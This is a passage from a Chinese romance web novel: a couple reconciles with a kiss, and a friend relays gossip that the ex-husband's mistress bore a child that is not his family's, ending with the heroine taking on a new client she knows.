白绯明明遭受了这么多,自己帮不上什么忙不说,还反过来要她安慰。自己这个伴侣真的当得太不称职了。
“绯绯,对不起...”祝临川自责不已:“我答应你,以后一定不胡思乱想了。都怪我,不仅保护不了你,还这么不成熟...”
未尽的话语被一个吻打断,白绯笑意盈盈地看着愣愣的祝临川,笑道:“我喜欢。这样的你很可爱,特别可爱。”
祝临川垂眸看着白绯眼底毫不作假的笑意,嘴角也慢慢勾起,浑身的气息缓和。
他低下头想去寻白绯的唇,加深方才那个浅尝辄止的吻,却被白绯笑着用手指抵住唇,意味深长道:“别急,等今晚...现在,先去看看王阿婆她们,可别出事了。”
好在,等他们绕回小院,门外已经没有了祝金花的身影。
陈安夏和小施正狗腿地围在王阿婆身边,给大功臣捏肩捶背。看到二人回来,陈安夏立刻屁颠颠地凑了上来,分享刚拿到手的一手瓜。
“绯绯姐!刚才王阿婆套出话来,据说你那个前夫的小三,就是叫什么怜心的,生下的孩子根本不是罗家的!他被人家戴绿帽了!”陈安夏身为外人,都感觉自己乳腺通畅了,兴奋不已地把这个消息分享给白绯这个当事人:“我就说这老太婆怎么不去家里守着独苗,还有这闲工夫到处喷粪,搞半天是真的绝后了啊!啧啧啧,多行不义必自毙,恶有恶报,活该!”
这个消息白绯早就知道,闻言心中倒也没什么波动。
她本都做好了被祝金花纠缠一阵子的准备,结果没想到后来,那老太婆竟是直接销声匿迹了。
白绯也无意去打探,重新打起精神,毕竟过好自己的日子比什么都重要。
只是没想到,她回归后接到的第一单生意,就是一个熟人。